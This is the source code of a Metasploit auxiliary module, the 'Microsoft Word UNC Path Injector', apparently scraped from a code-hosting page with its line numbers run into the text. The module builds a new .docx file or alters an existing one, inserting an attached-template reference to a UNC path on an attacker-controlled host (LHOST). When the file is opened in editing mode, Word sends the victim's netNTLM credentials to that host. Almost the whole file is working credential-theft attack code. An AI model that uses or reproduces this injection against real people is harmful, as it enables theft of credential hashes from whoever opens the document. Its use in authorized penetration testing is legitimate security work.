Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/docx/word_unc_injector.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45#6# Gems7#89# for extracting files10require 'zip'1112#13# Project14#1516# for creating files17require 'rex/zip'1819class MetasploitModule < Msf::Auxiliary20include Msf::Exploit::FILEFORMAT2122def initialize(info = {})23super(update_info(info,24'Name' => 'Microsoft Word UNC Path Injector',25'Description' => %q{26This module modifies a .docx file that will, upon opening, submit stored27netNTLM credentials to a remote host. It can also create an empty docx file. If28emailed the receiver needs to put the document in editing mode before the remote29server will be contacted. Preview and read-only mode do not work. Verified to work30with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the31auxiliary/server/capture/smb module can be used.32},33'License' => MSF_LICENSE,34'References' =>35[36[ 'URL', 'https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534' ]37],38'Author' =>39[40'SphaZ <cyberphaz[at]gmail.com>'41]42))4344register_options(45[46OptAddressLocal.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.']),47OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document.']),48OptString.new('FILENAME', [true, 'Document output filename.', 'msf.docx']),49OptString.new('DOCAUTHOR',[false,'Document author for empty document.']),50])51end5253# here we create an empty .docx file with the UNC path. Only done when FILENAME is empty54def make_new_file55metadata_file_data = ""56metadata_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties"57metadata_file_data << " xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" "58metadata_file_data << "xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" "59metadata_file_data << "xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"60metadata_file_data << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}"61metadata_file_data << "</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">"62metadata_file_data << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">"63metadata_file_data << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>"6465# where to find the skeleton files required for creating an empty document66data_dir = File.join(Msf::Config.data_directory, "exploits", "docx")6768zip_data = {}6970# add skeleton files71vprint_status("Adding skeleton files from #{data_dir}")72Dir["#{data_dir}/**/**"].each do |file|73if not File.directory?(file)74zip_data[file.sub(data_dir,'')] = File.read(file, mode: 'rb')75end76end7778# add on-the-fly created documents79vprint_status("Adding injected files")80zip_data["docProps/core.xml"] = metadata_file_data81zip_data["word/_rels/settings.xml.rels"] = @rels_file_data8283# add the otherwise skipped "hidden" file84file = "#{data_dir}/_rels/.rels"85zip_data[file.sub(data_dir,'')] = File.read(file, mode: 'rb')86# and lets create the file87zip_docx(zip_data)88end8990# here we inject an UNC path into an existing file, and store the injected file in FILENAME91def manipulate_file92ref = "<w:attachedTemplate r:id=\"rId1\"/>"9394if not File.stat(datastore['SOURCE']).readable?95print_error("Not enough rights to read the file. Aborting.")96return nil97end9899# lets extract our docx and store it in memory100zip_data = unzip_docx101102# file to check for reference file we need103file_content = zip_data["word/settings.xml"]104if file_content.nil?105print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.")106return nil107end108109# if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.110if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil?111vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")112zip_data["word/_rels/settings.xml.rels"] = @rels_file_data113# lets zip the end result114zip_docx(zip_data)115else116# now insert the reference to the file that will enable our malicious entry117insert_one = file_content.index("<w:defaultTabStop")118119if insert_one.nil?120insert_two = file_content.index("<w:hyphenationZone") # 2nd choice121if not insert_two.nil?122vprint_status("HypenationZone found, we use this for insertion.")123file_content.insert(insert_two, ref )124end125else126vprint_status("DefaultTabStop found, we use this for insertion.")127file_content.insert(insert_one, ref )128end129130if insert_one.nil? && insert_two.nil?131print_error("Cannot find insert point for reference into settings.xml")132return nil133end134135# update the files that contain the injection and reference136zip_data["word/settings.xml"] = file_content137zip_data["word/_rels/settings.xml.rels"] = @rels_file_data138# lets zip the file139zip_docx(zip_data)140end141return 0142end143144# making the actual docx from the hash145def zip_docx(zip_data)146docx = Rex::Zip::Archive.new147zip_data.each_pair do |k,v|148docx.add_file(k,v)149end150file_create(docx.pack)151end152153# unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way154def unzip_docx155# Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File156vprint_status("Extracting #{datastore['SOURCE']} into memory.")157# we read it all into memory158zip_data = Hash.new159begin160Zip::File.open(datastore['SOURCE']) do |filezip|161filezip.each do |entry|162zip_data[entry.name] = filezip.read(entry)163end164end165rescue Zip::Error => e166print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.")167return nil168end169return zip_data170end171172173def run174# we need this in make_new_file and manipulate_file175@rels_file_data = ""176@rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp177@rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp178@rels_file_data << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/".chomp179@rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"180181if "#{datastore['SOURCE']}" == ""182# make an empty file183print_status("Creating empty document that points to #{datastore['LHOST']}.")184make_new_file185else186# extract the word/settings.xml and edit in the reference we need187print_status("Injecting UNC path into existing document.")188if manipulate_file.nil?189print_error("Failed to create a document from #{datastore['SOURCE']}.")190else191print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.")192end193end194end195end196197198